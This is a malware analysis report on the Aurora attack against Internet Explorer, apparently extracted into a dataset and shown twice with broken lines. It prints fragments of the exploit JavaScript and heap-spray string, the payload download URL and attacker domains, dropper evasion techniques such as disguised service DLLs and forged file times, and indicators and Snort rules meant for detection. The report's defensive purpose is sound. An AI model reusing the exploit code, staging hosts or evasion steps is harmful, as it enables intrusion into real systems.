clydeiii/cybersecurity · Datasets at Hugging Face

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x1 [i].data = "abc";
var e1 = null;
function ev1 (evt)
e1 = document.createEventObject (evt);
document.getElementById ("sp1").innerHTML = "";
window.setInterval (ev2, 50);
function ev2 ()
"\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u
0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0
d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < x1.length; i ++) {
x1 [i].data = p;
var t = e1.srcElement;
</script>
</head>
<body>
<span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)" width="16" height="16"></span>
</body>
</html>
JavaScript Artifacts
Initial encrypted dropper download.
Decrypted dropper.
Pattern
Deleted file.
C:\%appdata%\a.exe
Deleted file.
C:\%appdata\b.exe
JavaScript present in Internet Explorer memory space.
<code listed above>
Download URL present in internet history during memory
analysis.
Other domains associated with Aurora.
http://demo1.ftpaccess.cc/demo/ad.jpg
sl1.homelinux.org
360.homeunix.com
ftp2.homeunix.com
update.ourhobby.com
blog1.servebeer.com
The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below. Upon successful
exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from
http://demo1.ftpaccess.cc/demo/ad.jpg which is the dropper. Note: these files are specific to the sample we analyzed at
HBGary, Inc. The attackers must use a second stage download mechanism to achieve full system access due to memory
constraints. It is unlikely that the final payload could be delivered through the original exploit given these conditions.
The dropper is XOR encrypted with a 0x95 key. The shellcode copies this encrypted binary to the user
s AppData
directory as
a.exe
. The shellcode then decrypts
a.exe
and moves it to
b.exe
in the same directory. Then
b.exe
executed. The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet
Explorer post exploitation attempt. These patterns can be searched for when doing memory analysis of a victim system.
Shellcode Artifacts
Pattern
Self-decrypting code using a constant XOR value.
80 34 0B D8 80 34 0B D8
Kernel32.dll searching code.
64 A1 30 00 00 00 8B 40 0C 8B 70 1C
Push Urlmon string to stack using two push statements.
68 6F 6E 00 00 68 75 72 6C 6D
The following SNORT rules have been released by the Emerging Threats project to detected the final payload command
and control communications.
Network Detection Signatures
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"ET TROJAN Aurora Backdoor (C&C) client connection to CnC";
flow:established,to_server; content:"\|ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff\|"; depth:20;
flowbits:set,ET.aurora.init; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insightinto-the-Aurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010695;
reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010695; rev:2;)
alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg:"ET TROJAN Aurora Backdoor (C&C) connection CnC response";
flowbits:isset,ET.aurora.init; flow:established,from_server; content:"\|cc cc cc cc cd cc cc cc cd cc cc cc cc cc
cc cc\|"; depth:16; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010696;
reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010696; rev:2;)
D RO PPE R
The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32
directory and loads it as a service. The initial dropper is likely to be packed (UPX, etc). The dropper has an embedded
DLL that is decompressed to the windows system32 directory. This DLL will be named to resemble existing services
(rasmon.dll, etc). In order to evade forensics, the file-time of the dropped DLL will be modified to match that of an
existing system DLL (user32.dll, etc). The dropped DLL is loaded into its own svchost.exe process. Several
registry keys are created and then deleted as part of this process. Finally, the dropper deletes itself from the system by
using a dissolving batch file (DFS.BAT, etc).
Actionable Intelligence
Pattern
Service Key & Value
Note: deleted after drop
Path to backdoor
Note: deleted after stage 1
Path to backdoor
Note: persistent
Potential variation
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\
Value: SysIns Data: Ups??? (??? are three random chars)
SYSTEM\CurrentControlSet\Services\Ups???\Parameters\
Value: ServiceDLL Data: (full path to the backdoor)
SYSTEM\CurrentControlSet\Services\RaS???\Parameters\
Value: ServiceDLL Data: (full path to the backdoor)
SYSTEM\CurrentControlSet\Services\RaS???\Parameters\
Value: ServiceDLL Data: %temp%\c_####.nls (where #### is a number)
SYSTEM\CurrentControlSet\Services\RaS???\Parameters\

x1 [i].data = "abc";

var e1 = null;

function ev1 (evt)

e1 = document.createEventObject (evt);

document.getElementById ("sp1").innerHTML = "";

window.setInterval (ev2, 50);

function ev2 ()

"\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u

0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0

d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";

for (i = 0; i < x1.length; i ++) {

x1 [i].data = p;

var t = e1.srcElement;

</script>

</head>

<body>

</body>

</html>

JavaScript Artifacts

Initial encrypted dropper download.

Decrypted dropper.

Pattern

Deleted file.

C:\%appdata%\a.exe

Deleted file.

C:\%appdata\b.exe

JavaScript present in Internet Explorer memory space.

Download URL present in internet history during memory

analysis.

Other domains associated with Aurora.

http://demo1.ftpaccess.cc/demo/ad.jpg

sl1.homelinux.org

360.homeunix.com

ftp2.homeunix.com

update.ourhobby.com

blog1.servebeer.com

The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below. Upon successful

exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from

http://demo1.ftpaccess.cc/demo/ad.jpg which is the dropper. Note: these files are specific to the sample we analyzed at

HBGary, Inc. The attackers must use a second stage download mechanism to achieve full system access due to memory

constraints. It is unlikely that the final payload could be delivered through the original exploit given these conditions.

The dropper is XOR encrypted with a 0x95 key. The shellcode copies this encrypted binary to the user

s AppData

directory as

a.exe

. The shellcode then decrypts

a.exe

and moves it to

b.exe

in the same directory. Then

b.exe

executed. The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet

Explorer post exploitation attempt. These patterns can be searched for when doing memory analysis of a victim system.

Shellcode Artifacts

Pattern

Self-decrypting code using a constant XOR value.

80 34 0B D8 80 34 0B D8

Kernel32.dll searching code.

64 A1 30 00 00 00 8B 40 0C 8B 70 1C

Push Urlmon string to stack using two push statements.

68 6F 6E 00 00 68 75 72 6C 6D

The following SNORT rules have been released by the Emerging Threats project to detected the final payload command

and control communications.

Network Detection Signatures

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"ET TROJAN Aurora Backdoor (C&C) client connection to CnC";

flow:established,to_server; content:"|ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff|"; depth:20;

flowbits:set,ET.aurora.init; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insightinto-the-Aurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010695;

reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010695; rev:2;)

alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg:"ET TROJAN Aurora Backdoor (C&C) connection CnC response";

flowbits:isset,ET.aurora.init; flow:established,from_server; content:"|cc cc cc cc cd cc cc cc cd cc cc cc cc cc

cc cc|"; depth:16; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010696;

reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010696; rev:2;)

D RO PPE R

The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32

directory and loads it as a service. The initial dropper is likely to be packed (UPX, etc). The dropper has an embedded

DLL that is decompressed to the windows system32 directory. This DLL will be named to resemble existing services

(rasmon.dll, etc). In order to evade forensics, the file-time of the dropped DLL will be modified to match that of an

existing system DLL (user32.dll, etc). The dropped DLL is loaded into its own svchost.exe process. Several

registry keys are created and then deleted as part of this process. Finally, the dropper deletes itself from the system by

using a dissolving batch file (DFS.BAT, etc).

Actionable Intelligence

Pattern

Service Key & Value

Note: deleted after drop

Path to backdoor

Note: deleted after stage 1

Path to backdoor

Note: persistent

Potential variation

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\

Value: SysIns Data: Ups??? (??? are three random chars)

SYSTEM\CurrentControlSet\Services\Ups???\Parameters\

Value: ServiceDLL Data: (full path to the backdoor)

SYSTEM\CurrentControlSet\Services\RaS???\Parameters\

Value: ServiceDLL Data: (full path to the backdoor)

SYSTEM\CurrentControlSet\Services\RaS???\Parameters\

Value: ServiceDLL Data: %temp%\c_####.nls (where #### is a number)

SYSTEM\CurrentControlSet\Services\RaS???\Parameters\